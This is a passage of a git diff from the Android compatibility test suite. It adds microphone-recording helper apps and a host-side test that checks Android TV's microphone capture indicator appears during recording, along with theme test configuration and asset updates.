+ "general-tests",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/systemui/audiorecorder_app_audiorecord/AndroidManifest.xml b/hostsidetests/systemui/audiorecorder_app_audiorecord/AndroidManifest.xml
new file mode 100755
index 0000000..a9a410e
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_app_audiorecord/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.systemui.cts.audiorecorder.audiorecord">
+
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+ <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+
+ <application>
+ <service android:name=".AudioRecorderService"
+ android:exported="true"/>
+ </application>
+
+</manifest>
+
diff --git a/hostsidetests/systemui/audiorecorder_app_audiorecord/src/android/systemui/cts/audiorecorder/audiorecord/AudioRecorderService.java b/hostsidetests/systemui/audiorecorder_app_audiorecord/src/android/systemui/cts/audiorecorder/audiorecord/AudioRecorderService.java
new file mode 100644
index 0000000..3e244b9
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_app_audiorecord/src/android/systemui/cts/audiorecorder/audiorecord/AudioRecorderService.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts.audiorecorder.audiorecord;
+
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.systemui.cts.audiorecorder.base.BaseAudioRecorderService;
+
+public class AudioRecorderService extends BaseAudioRecorderService {
+ private AudioRecord mAudioRecord = null;
+ private int mBufferSizeInBytes;
+
+ protected synchronized void startRecording() {
+ final int channelConfig = AudioFormat.CHANNEL_IN_MONO;
+ final int sampleRate = 32000;
+ final int format = AudioFormat.ENCODING_PCM_16BIT;
+ mBufferSizeInBytes = 2 * AudioRecord.getMinBufferSize(sampleRate, channelConfig, format);
+ mAudioRecord =
+ new AudioRecord.Builder()
+ .setAudioFormat(
+ new AudioFormat.Builder()
+ .setEncoding(format)
+ .setSampleRate(sampleRate)
+ .setChannelMask(channelConfig)
+ .build())
+ .setBufferSizeInBytes(mBufferSizeInBytes)
+ .build();
+
+ mAudioRecord.startRecording();
+
+ new Thread(this::readAudioRecordDataUntilStopped).start();
+ }
+
+ private void readAudioRecordDataUntilStopped() {
+ while (true) {
+ final short[] data = new short[mBufferSizeInBytes / 2];
+ synchronized (this) {
+ if (mAudioRecord == null) {
+ return;
+ }
+
+ mAudioRecord.read(data, 0, data.length);
+ }
+ }
+ }
+
+ protected synchronized void stopRecording() {
+ mAudioRecord.stop();
+ mAudioRecord.release();
+ mAudioRecord = null;
+ }
+
+ protected synchronized boolean isRecording() {
+ return mAudioRecord != null;
+ }
+}
diff --git a/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp b/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp
new file mode 100644
index 0000000..bc1cb75
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsSystemUiDeviceAudioRecorderAppMediaRecorder",
+ static_libs: ["CtsSystemUiDeviceAudioRecorderBase"],
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/systemui/audiorecorder_app_mediarecorder/AndroidManifest.xml b/hostsidetests/systemui/audiorecorder_app_mediarecorder/AndroidManifest.xml
new file mode 100755
index 0000000..2ef3228
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_app_mediarecorder/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.systemui.cts.audiorecorder.mediarecorder">
+
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+ <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+
+ <application>
+ <service android:name=".AudioRecorderService"
+ android:exported="true"/>
+ </application>
+
+</manifest>
+
diff --git a/hostsidetests/systemui/audiorecorder_app_mediarecorder/src/android/systemui/cts/audiorecorder/mediarecorder/AudioRecorderService.java b/hostsidetests/systemui/audiorecorder_app_mediarecorder/src/android/systemui/cts/audiorecorder/mediarecorder/AudioRecorderService.java
new file mode 100644
index 0000000..5fb94c1
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_app_mediarecorder/src/android/systemui/cts/audiorecorder/mediarecorder/AudioRecorderService.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts.audiorecorder.mediarecorder;
+
+import android.media.MediaRecorder;
+import android.media.MediaRecorder.AudioSource;
+import android.systemui.cts.audiorecorder.base.BaseAudioRecorderService;
+
+import java.io.File;
+import java.io.IOException;
+
+public class AudioRecorderService extends BaseAudioRecorderService {
+ private MediaRecorder mMediaRecorder = null;
+
+ protected void startRecording() {
+ mMediaRecorder = new MediaRecorder();
+ mMediaRecorder.setAudioSource(AudioSource.MIC);
+ mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+ mMediaRecorder.setOutputFile(new File(getExternalCacheDir(), "record.3gp"));
+ mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
+
+ try {
+ mMediaRecorder.prepare();
+ } catch (IOException e) {
+ mMediaRecorder.release();
+ mMediaRecorder = null;
+ return;
+ }
+
+ mMediaRecorder.start();
+ }
+
+ protected void stopRecording() {
+ mMediaRecorder.stop();
+ mMediaRecorder.release();
+ mMediaRecorder = null;
+ }
+
+ protected boolean isRecording() {
+ return mMediaRecorder != null;
+ }
+}
diff --git a/hostsidetests/systemui/audiorecorder_base/Android.bp b/hostsidetests/systemui/audiorecorder_base/Android.bp
new file mode 100644
index 0000000..ba9c7e6
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_base/Android.bp
@@ -0,0 +1,21 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_library {
+ name: "CtsSystemUiDeviceAudioRecorderBase",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ resource_dirs: ["res"],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/systemui/audiorecorder_base/AndroidManifest.xml b/hostsidetests/systemui/audiorecorder_base/AndroidManifest.xml
new file mode 100644
index 0000000..1232e57
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_base/AndroidManifest.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.systemui.cts.audiorecorder.base">
+
+</manifest>
diff --git a/hostsidetests/systemui/audiorecorder_base/res/drawable-hdpi/ic_fg.png b/hostsidetests/systemui/audiorecorder_base/res/drawable-hdpi/ic_fg.png
new file mode 100644
index 0000000..98a3246
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_base/res/drawable-hdpi/ic_fg.png
Binary files differ
diff --git a/hostsidetests/systemui/audiorecorder_base/src/android/systemui/cts/audiorecorder/base/BaseAudioRecorderService.java b/hostsidetests/systemui/audiorecorder_base/src/android/systemui/cts/audiorecorder/base/BaseAudioRecorderService.java
new file mode 100644
index 0000000..dd7cc17
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_base/src/android/systemui/cts/audiorecorder/base/BaseAudioRecorderService.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts.audiorecorder.base;
+
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.media.AudioRecord;
+import android.media.MediaRecorder;
+import android.media.MediaRecorder.AudioSource;
+import android.os.IBinder;
+import android.util.Log;
+
+public abstract class BaseAudioRecorderService extends Service {
+ private static final String ACTION_START =
+ "android.systemui.cts.audiorecorder.ACTION_START";
+ private static final String ACTION_STOP =
+ "android.systemui.cts.audiorecorder.ACTION_STOP";
+ private static final String ACTION_THROW =
+ "android.systemui.cts.audiorecorder.ACTION_THROW";
+
+ private static final String NOTIFICATION_CHANNEL_ID = "all";
+ private static final String NOTIFICATION_CHANNEL_NAME = "All Notifications";
+ private static final int NOTIFICATION_ID = 1;
+ private static final String NOTIFICATION_TITLE = "Audio Record Service";
+ private static final String NOTIFICATION_TEXT = "Recording...";
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ startForeground(NOTIFICATION_ID, buildNotification());
+
+ final String action = intent.getAction();
+ if (ACTION_START.equals(action) && !isRecording()) {
+ startRecording();
+ } else if (ACTION_STOP.equals(action) && isRecording()) {
+ stopRecording();
+ } else if (ACTION_THROW.equals(action)) {
+ throw new RuntimeException("Commanded to throw!");
+ }
+
+ if (!isRecording()) {
+ stopForeground(true);
+ stopSelf();
+ }
+
+ return START_NOT_STICKY;
+ }
+
+ protected abstract void startRecording();
+
+ protected abstract void stopRecording();
+
+ protected abstract boolean isRecording();
+
+ @Override
+ public void onDestroy() {
+ if (isRecording()) {
+ stopRecording();
+ }
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ private Notification buildNotification() {
+ // Make sure the channel exists
+ createChannel();
+
+ return new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+ .setContentTitle(NOTIFICATION_TITLE)
+ .setContentText(NOTIFICATION_TEXT)
+ .setSmallIcon(R.drawable.ic_fg)
+ .build();
+ }
+
+ private void createChannel() {
+ final NotificationChannel channel =
+ new NotificationChannel(
+ NOTIFICATION_CHANNEL_ID,
+ NOTIFICATION_CHANNEL_NAME,
+ NotificationManager.IMPORTANCE_NONE);
+ final NotificationManager manager =
+ (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ manager.createNotificationChannel(channel);
+ }
+}
diff --git a/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java b/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
new file mode 100644
index 0000000..82b9e65
--- /dev/null
+++ b/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
@@ -0,0 +1,300 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.host.systemui;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import com.android.server.wm.DisplayContentProto;
+import com.android.server.wm.IdentifierProto;
+import com.android.server.wm.RootWindowContainerProto;
+import com.android.server.wm.WindowManagerServiceDumpProto;
+import com.android.server.wm.WindowStateProto;
+import com.android.server.wm.WindowTokenProto;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class TvMicrophoneCaptureIndicatorTest extends BaseHostJUnit4Test {
+ private static final String SHELL_AM_START_FG_SERVICE =
+ "am start-foreground-service -n %s -a %s";
+ private static final String SHELL_AM_FORCE_STOP =
+ "am force-stop %s";
+ private static final String SHELL_DUMPSYS_WINDOW = "dumpsys window --proto";
+ private static final String SHELL_PID_OF = "pidof %s";
+
+ private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+
+ private static final String AUDIO_RECORDER_AR_PACKAGE_NAME =
+ "android.systemui.cts.audiorecorder.audiorecord";
+ private static final String AUDIO_RECORDER_MR_PACKAGE_NAME =
+ "android.systemui.cts.audiorecorder.mediarecorder";
+ private static final String AUDIO_RECORDER_AR_SERVICE_COMPONENT =
+ AUDIO_RECORDER_AR_PACKAGE_NAME + "/.AudioRecorderService";
+ private static final String AUDIO_RECORDER_MR_SERVICE_COMPONENT =
+ AUDIO_RECORDER_MR_PACKAGE_NAME + "/.AudioRecorderService";
+ private static final String AUDIO_RECORDER_ACTION_START =
+ "android.systemui.cts.audiorecorder.ACTION_START";
+ private static final String AUDIO_RECORDER_ACTION_STOP =
+ "android.systemui.cts.audiorecorder.ACTION_STOP";
+ private static final String AUDIO_RECORDER_ACTION_THROW =
+ "android.systemui.cts.audiorecorder.ACTION_THROW";
+
+ private static final String SHELL_AR_START_REC = String.format(SHELL_AM_START_FG_SERVICE,
+ AUDIO_RECORDER_AR_SERVICE_COMPONENT,
+ AUDIO_RECORDER_ACTION_START);
+ private static final String SHELL_AR_STOP_REC = String.format(SHELL_AM_START_FG_SERVICE,
+ AUDIO_RECORDER_AR_SERVICE_COMPONENT,
+ AUDIO_RECORDER_ACTION_STOP);
+ private static final String SHELL_MR_START_REC = String.format(SHELL_AM_START_FG_SERVICE,
+ AUDIO_RECORDER_MR_SERVICE_COMPONENT,
+ AUDIO_RECORDER_ACTION_START);
+ private static final String SHELL_MR_STOP_REC = String.format(SHELL_AM_START_FG_SERVICE,
+ AUDIO_RECORDER_MR_SERVICE_COMPONENT,
+ AUDIO_RECORDER_ACTION_STOP);
+ private static final String SHELL_AR_FORCE_STOP = String.format(SHELL_AM_FORCE_STOP,
+ AUDIO_RECORDER_AR_PACKAGE_NAME);
+ private static final String SHELL_MR_FORCE_STOP = String.format(SHELL_AM_FORCE_STOP,
+ AUDIO_RECORDER_MR_PACKAGE_NAME);
+ private static final String SHELL_AR_THROW = String.format(SHELL_AM_START_FG_SERVICE,
+ AUDIO_RECORDER_AR_SERVICE_COMPONENT,
+ AUDIO_RECORDER_ACTION_THROW);
+ private static final String SHELL_MR_THROW = String.format(SHELL_AM_START_FG_SERVICE,
+ AUDIO_RECORDER_MR_SERVICE_COMPONENT,
+ AUDIO_RECORDER_ACTION_THROW);
+
+ private static final String WINDOW_TITLE_MIC_INDICATOR = "MicrophoneCaptureIndicator";
+
+ private static final long ONE_SECOND = 1000L;
+ private static final long THREE_SECONDS = 3 * ONE_SECOND;
+ private static final long FIVE_SECONDS = 5 * ONE_SECOND;
+ private static final long THREE_HUNDRED_MILLISECONDS = (long) (0.3 * ONE_SECOND);
+
+ @Test
+ public void testIndicatorShownWhileRecordingUsingAudioRecordApi() throws Exception {
+ runSimpleStartStopTestRoutine(AUDIO_RECORDER_AR_PACKAGE_NAME, SHELL_AR_START_REC,
+ SHELL_AR_STOP_REC);
+ }
+
+ @Test
+ public void testIndicatorShownWhileRecordingUsingMediaRecorderApi() throws Exception {
+ runSimpleStartStopTestRoutine(AUDIO_RECORDER_MR_PACKAGE_NAME, SHELL_MR_START_REC,
+ SHELL_MR_STOP_REC);
+ }
+
+ @Test
+ public void testIndicatorShownWhileRecordingUsingAudioRecordApiAndForceStopped()
+ throws Exception {
+ runSimpleStartStopTestRoutine(AUDIO_RECORDER_AR_PACKAGE_NAME, SHELL_AR_START_REC,
+ SHELL_AR_FORCE_STOP);
+ }
+
+ @Test
+ public void testIndicatorShownWhileRecordingUsingMediaRecorderApiAndForceStopped()
+ throws Exception {
+ runSimpleStartStopTestRoutine(AUDIO_RECORDER_MR_PACKAGE_NAME, SHELL_MR_START_REC,
+ SHELL_MR_FORCE_STOP);
+ }
+
+ @Test
+ public void testIndicatorShownWhileRecordingUsingAudioRecordApiAndCrashed() throws Exception {
+ runSimpleStartStopTestRoutine(AUDIO_RECORDER_AR_PACKAGE_NAME, SHELL_AR_START_REC,
+ SHELL_AR_THROW);
+ }
+
+ @Test
+ public void testIndicatorShownWhileRecordingUsingMediaRecorderApiAndCrashed() throws Exception {
+ runSimpleStartStopTestRoutine(AUDIO_RECORDER_MR_PACKAGE_NAME, SHELL_MR_START_REC,
+ SHELL_MR_THROW);
+ }
+
+ @Test
+ public void testIndicatorShownWhileRecordingUsingBothApisSimultaneously() throws Exception {
+ assumeTrue("Not running on a Leanback (TV) device",
+ getDevice().hasFeature(FEATURE_LEANBACK_ONLY));
+
+ // Check that the indicator isn't shown initially
+ assertIndicatorInvisible();
+
+ // Start recording using MediaRecorder API
+ getDevice().executeShellCommand(SHELL_MR_START_REC);
+
+ // Wait for the application to be launched
+ waitForProcessToComeAlive(AUDIO_RECORDER_MR_PACKAGE_NAME);
+
+ // Wait for a second, and then check that the indicator is shown
+ Thread.sleep(ONE_SECOND);
+ assertIndicatorVisible();
+
+ // Start recording using AudioRecord API
+ getDevice().executeShellCommand(SHELL_AR_START_REC);
+
+ // Wait for the application to be launched
+ waitForProcessToComeAlive(AUDIO_RECORDER_AR_PACKAGE_NAME);
+
+ // Check that the indicator is still shown
+ assertIndicatorVisible();
+
+ // Check 3 more times that the indicator remains shown
+ for (int i = 0; i < 3; i++) {
+ Thread.sleep(ONE_SECOND);
+ assertIndicatorVisible();
+ }
+
+ // Stop recording using MediaRecorder API
+ getDevice().executeShellCommand(SHELL_MR_STOP_REC);
+
+ // check that the indicator is still shown
+ assertIndicatorVisible();
+
+ // Check 3 more times that the indicator remains shown
+ for (int i = 0; i < 3; i++) {
+ Thread.sleep(ONE_SECOND);
+ assertIndicatorVisible();
+ }
+
+ // Stop recording using AudioRecord API
+ getDevice().executeShellCommand(SHELL_AR_STOP_REC);
+
+ // Wait for five seconds and make sure that the indicator is not shown
+ Thread.sleep(FIVE_SECONDS);
+ assertIndicatorInvisible();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ // Kill both apps
+ getDevice().executeShellCommand(SHELL_AR_FORCE_STOP);
+ getDevice().executeShellCommand(SHELL_MR_FORCE_STOP);
+ }
+
+ private void runSimpleStartStopTestRoutine(String packageName, String startCommand,
+ String stopCommand) throws Exception {
+ assumeTrue("Not running on a Leanback (TV) device",
+ getDevice().hasFeature(FEATURE_LEANBACK_ONLY));
+
+ // Check that the indicator isn't shown initially
+ assertIndicatorInvisible();
+
+ // Start recording using AudioRecord API
+ getDevice().executeShellCommand(startCommand);
+
+ // Wait for the application to be launched
+ waitForProcessToComeAlive(packageName);
+
+ // Wait for a second, and then check that the indicator is shown, repeat 2 more times
+ for (int i = 0; i < 3; i++) {
+ Thread.sleep(ONE_SECOND);
+ assertIndicatorVisible();
+ }
+
+ // Stop recording (this may either send a command to the app to stop recording or command
+ // to crash or force-stop the app)
+ getDevice().executeShellCommand(stopCommand);
+
+ // Wait for five seconds and make sure that the indicator is not shown
+ Thread.sleep(FIVE_SECONDS);
+ assertIndicatorInvisible();
+ }
+
+ private void waitForProcessToComeAlive(String appPackageName) throws Exception {
+ final String pidofCommand = String.format(SHELL_PID_OF, appPackageName);
+
+ long waitTime = 0;
+ while (waitTime < THREE_SECONDS) {
+ Thread.sleep(THREE_HUNDRED_MILLISECONDS);
+
+ final String pid = getDevice().executeShellCommand(pidofCommand).trim();
+ if (!pid.isEmpty()) {
+ // Process is running
+ return;
+ }
+ waitTime += THREE_HUNDRED_MILLISECONDS;
+ }
+
+ fail("The process for " + appPackageName
+ + " should have come alive within 3 secs of launching the app.");
+ }
+
+ private void assertIndicatorVisible() throws Exception {
+ final WindowStateProto window = getMicCaptureIndicatorWindow(true);
+
+ assertNotNull("\"MicrophoneCaptureIndicator\" window does not exist", window);
+ assertTrue("\"MicrophoneCaptureIndicator\" window is not visible",
+ window.getIsVisible());
+ assertTrue("\"MicrophoneCaptureIndicator\" window is not on screen",
+ window.getIsOnScreen());
+ }
+
+ private void assertIndicatorInvisible() throws Exception {
+ final WindowStateProto window = getMicCaptureIndicatorWindow(false);
+ if (window == null) {
+ // If window is not present, that's fine, there is no need to check anything else.
+ return;
+ }
+
+ assertFalse("\"MicrophoneCaptureIndicator\" window shouldn't be visible",
+ window.getIsVisible());
+ assertFalse("\"MicrophoneCaptureIndicator\" window shouldn't be present on screen",
+ window.getIsOnScreen());
+ }
+
+ private WindowStateProto getMicCaptureIndicatorWindow(boolean aboveAppOnly) throws Exception {
+ final WindowManagerServiceDumpProto dump = getDump();
+ final RootWindowContainerProto root = dump.getRootWindowContainer();
+ final List<DisplayContentProto> displays = root.getDisplaysList();
+ for (DisplayContentProto display : displays) {
+ final List<WindowTokenProto> tokens;
+ if (aboveAppOnly) {
+ tokens = display.getAboveAppWindowsList();
+ } else {
+ tokens = new ArrayList<>();
+ tokens.addAll(display.getAboveAppWindowsList());
+ tokens.addAll(display.getImeWindowsList());
+ tokens.addAll(display.getBelowAppWindowsList());
+ }
+
+ for (WindowTokenProto token : tokens) {
+ for (WindowStateProto window : token.getWindowsList()) {
+ final IdentifierProto identifier = window.getIdentifier();
+ final String title = identifier.getTitle();
+ if (WINDOW_TITLE_MIC_INDICATOR.equals(title)) {
+ return window;
+ }
+ }
+ }
+ }
+ return null;
+ }
+
+ private WindowManagerServiceDumpProto getDump() throws Exception {
+ final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+ getDevice().executeShellCommand(SHELL_DUMPSYS_WINDOW, receiver);
+ return WindowManagerServiceDumpProto.parser().parseFrom(receiver.getOutput());
+ }
+}
diff --git a/hostsidetests/theme/AndroidTest.xml b/hostsidetests/theme/AndroidTest.xml
index b03e11e..2f889d5 100644
--- a/hostsidetests/theme/AndroidTest.xml
+++ b/hostsidetests/theme/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsThemeDeviceApp.apk" />
diff --git a/hostsidetests/theme/OWNERS b/hostsidetests/theme/OWNERS
index ae2c27b..b43358c 100644
--- a/hostsidetests/theme/OWNERS
+++ b/hostsidetests/theme/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 25700
-alanv@google.com
\ No newline at end of file
+alanv@google.com
+aurimas@google.com
\ No newline at end of file
diff --git a/hostsidetests/theme/assets/29/140dpi.zip b/hostsidetests/theme/assets/29/140dpi.zip
index cb385f1..48de32b 100644
--- a/hostsidetests/theme/assets/29/140dpi.zip
+++ b/hostsidetests/theme/assets/29/140dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/180dpi.zip b/hostsidetests/theme/assets/29/180dpi.zip
index b034a7f..4def986 100644
--- a/hostsidetests/theme/assets/29/180dpi.zip
+++ b/hostsidetests/theme/assets/29/180dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/200dpi.zip b/hostsidetests/theme/assets/29/200dpi.zip
index 9a0ca5e..fe2495e 100644
--- a/hostsidetests/theme/assets/29/200dpi.zip
+++ b/hostsidetests/theme/assets/29/200dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/220dpi.zip b/hostsidetests/theme/assets/29/220dpi.zip
index b65a035..a2c2ea2 100644
--- a/hostsidetests/theme/assets/29/220dpi.zip
+++ b/hostsidetests/theme/assets/29/220dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/260dpi.zip b/hostsidetests/theme/assets/29/260dpi.zip
index 9cdefe7..74890a2 100644
--- a/hostsidetests/theme/assets/29/260dpi.zip
+++ b/hostsidetests/theme/assets/29/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/280dpi.zip b/hostsidetests/theme/assets/29/280dpi.zip
index 2e39de5..83fd290 100644
--- a/hostsidetests/theme/assets/29/280dpi.zip
+++ b/hostsidetests/theme/assets/29/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/300dpi.zip b/hostsidetests/theme/assets/29/300dpi.zip
index fba9c6c..25334d8 100644
--- a/hostsidetests/theme/assets/29/300dpi.zip
+++ b/hostsidetests/theme/assets/29/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/340dpi.zip b/hostsidetests/theme/assets/29/340dpi.zip
index 72e6f8f..2092326 100644
--- a/hostsidetests/theme/assets/29/340dpi.zip
+++ b/hostsidetests/theme/assets/29/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/360dpi.zip b/hostsidetests/theme/assets/29/360dpi.zip
index 3970139..c13ad5c 100644
--- a/hostsidetests/theme/assets/29/360dpi.zip
+++ b/hostsidetests/theme/assets/29/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/400dpi.zip b/hostsidetests/theme/assets/29/400dpi.zip
index 510eb94d..1df1a95 100644
--- a/hostsidetests/theme/assets/29/400dpi.zip
+++ b/hostsidetests/theme/assets/29/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/420dpi.zip b/hostsidetests/theme/assets/29/420dpi.zip
index a457bda..d58d418 100644
--- a/hostsidetests/theme/assets/29/420dpi.zip
+++ b/hostsidetests/theme/assets/29/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/440dpi.zip b/hostsidetests/theme/assets/29/440dpi.zip
index 07355d1..535102f 100644
--- a/hostsidetests/theme/assets/29/440dpi.zip
+++ b/hostsidetests/theme/assets/29/440dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/560dpi.zip b/hostsidetests/theme/assets/29/560dpi.zip
index 6a85ad8..20f1c7b 100644
--- a/hostsidetests/theme/assets/29/560dpi.zip
+++ b/hostsidetests/theme/assets/29/560dpi.zip
